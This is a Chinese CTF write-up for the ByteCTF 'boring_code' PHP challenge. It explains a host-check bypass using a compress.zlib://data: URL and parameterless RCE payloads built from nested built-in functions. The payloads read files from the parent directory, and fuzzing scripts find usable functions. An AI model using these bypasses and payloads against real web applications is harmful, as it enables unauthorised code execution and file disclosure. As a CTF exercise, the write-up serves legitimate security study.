Byte CTF boring_code(fuzz,无参数RCE)

0x01 贴出代码


function is_valid_url($url) {
 if (filter_var($url, FILTER_VALIDATE_URL)) {
  if (preg_match('/data:\/\//i', $url)) {
   return false;
  }
  return true;
 }
 return false;
}

if (isset($_POST['url'])) {
 $url = $_POST['url'];
 if (is_valid_url($url)) {
  $r = parse_url($url);
  print_r($r);
  if (preg_match('/baidu\.com$/', $r['host'])) {
   echo "pass preg_match";
   $code = file_get_contents($url);
   print_r($code);
// 下面这个正则约束了只能是phpinfo();这样的形式
// 所以基本来说 php://input 是不行了
   if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
    if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
     echo 'bye~';
    } else {
     eval($code);
    }
   }
  } else {
   echo "error: host not allowed";
  }
 } else {
  echo "error: invalid url";
 }
} else {
 highlight_file(__FILE__);
}

0x02 题目分析

首先我们要post一个url,而且host是以baidu.com结尾

绕过方法:

  • 氪金,买域名
  • 百度302跳转
    https://www.4xseo.com/marketing/1280/#title-0
  • 利用百度搜索来跳转,不过要百度收录了你的网址才行
  • 利用百度网盘跳转
  • compress.zlib://data:@baidu.com/baidu.com?,echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
关于如何绕过filter_var和parse_url

参考大佬的文章
链接

如何绕过filter_varparse_url,在file_get_contents的情况下,可以用data://伪协议来绕过,对于这样的形式data://text/plain;base64,xxxxxparse_url会将text作为host,并且PHP对MIME不敏感,改为这样data://baidu.com/plain;base64,xxxxx就能绕过,并且file_get_contents能直接读取到xxxx的内容。由于题目已经禁止了以data开头,所以我们可以用compress.zlib
Byte CTF boring_code(fuzz,无参数RCE)_第1张图片

0x03 无参数RCE

preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)
这个限制参数只能是a(b())的形式,同时只能包含字母
preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)
限制了一些函数,例如getallheaders(),session_id()

首先我么先fuzz下,看看那些函数可以用

var_dump(gettype(get_defined_functions()));
var_dump(count(get_defined_functions()[internal]));
$i_need_func=array();
$j=0;
for ($i=0; $i < count(get_defined_functions()[internal]) ; $i++) { 
    if (!preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|xdebug|prvd|_|-/i', get_defined_functions()[internal][$i])) {
        $i_need_func[$j]=get_defined_functions()[internal][$i];
        $j++;
    }
}
print_r($i_need_func);
因为最里层的函数必定不能包含参数,所以我们可以fuzz下,看哪些函数可以利用

#var_dump(gettype(get_defined_functions()));
#var_dump(count(get_defined_functions()[internal]));
$i_need_func=array();
$j=0;
for ($i=0; $i < count(get_defined_functions()[internal]) ; $i++) {
    if (!preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|xdebug|prvd|_/i', get_defined_functions()[internal][$i])) {
        $i_need_func[$j]=get_defined_functions()[internal][$i];
        $j++;
    }
}
try {
    for ($i=0; $i < count($i_need_func); $i++) {
    if($i_need_func[$i]=="mhash")
    	continue;
        if(!is_null($i_need_func[$i]())){
            echo $i_need_func[$i];
            var_dump($i_need_func[$i]());
        }
    }
} catch (\Throwable $th) {
}
  • localeconv()返回一个数组,且第一个为.
  • phpversion()返回版本号,是一个数字,我们就可以用数学函数构成46

由于题目提示,flag在上层目录,所以我们先要想办法改变当前的路径,所以我们还需要构造 .. 来跳到上一级目录,此处刚开始也卡了好久,但随后突然想到 ls -a 之后系统不就自带两点,这不是系统特性嘛,所以就有了如下paylaod
var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));
这个脚本可以利用数学函数+phpversion()返回46


$list = array("ceil","sinh","cosh","tan","floor","sqrt","cos","sin");
foreach($list as $a){
foreach($list as $b){
foreach($list as $c){
foreach($list as $d){
foreach($list as $e){
foreach($list as $f){
foreach($list as $g){
foreach($list as $h){

if($a($b($c($d($e($f($g($h(phpversion())))))))) == 46)
echo "$a+$b+$c+$d+$e+$f+$g+$h"."\n";	

}}}}}}}}
?>

Byte CTF boring_code(fuzz,无参数RCE)_第2张图片
随便一组函数都可以得到46

虽然我们已经能够跳转目录,但是怎样才能继续列出上级目录的文件呢?

函数chdir()返回的是一个布尔值,true || false,于是我么继续fuzz,看那些函数传bool值时返回的是什么。只要改一下上面的代码就行了,这儿就不再赘述

  • localtime(time(ture)) 会返回一个数组,第一个为秒,我们只需要等到每分钟的46秒发送请求即可得到46
  • hebrevc(crypt(ture))返回一个字符串,有一定几率第一个字符串为.
  • uniqid(true)也是返回一个字符串,且固定,我们可以使用ord()取第一个字符串的ascll码,然后同理利用数学函数构造46
  • crypt(serialize(array()))利用crypt返回一个加密的字符串,加密的字符串末尾有几率出现一个.

payload

  • echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))))))));
  • echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
  • readfile(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))));
  • if(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))readfile(end(scandir(chr(ord(strrev(crypt(serialize(array()))))))));

0x04 其他方式总结

由于题目中过滤了et_,所以我们不能利用很多函数,但是一些思想还是非常值得学习的,这儿贴出飘零大佬的文章
链接

  • 利用getenv() + array_rand() + array_flip
  • 利用getallheaders()
  • 利用session_id + session_start() + hex2bin + bin2hex
  • 利用get_defined_vars()
  • 利用dirname() + chdir()

你可能感兴趣的:(BUUCTF刷题记录)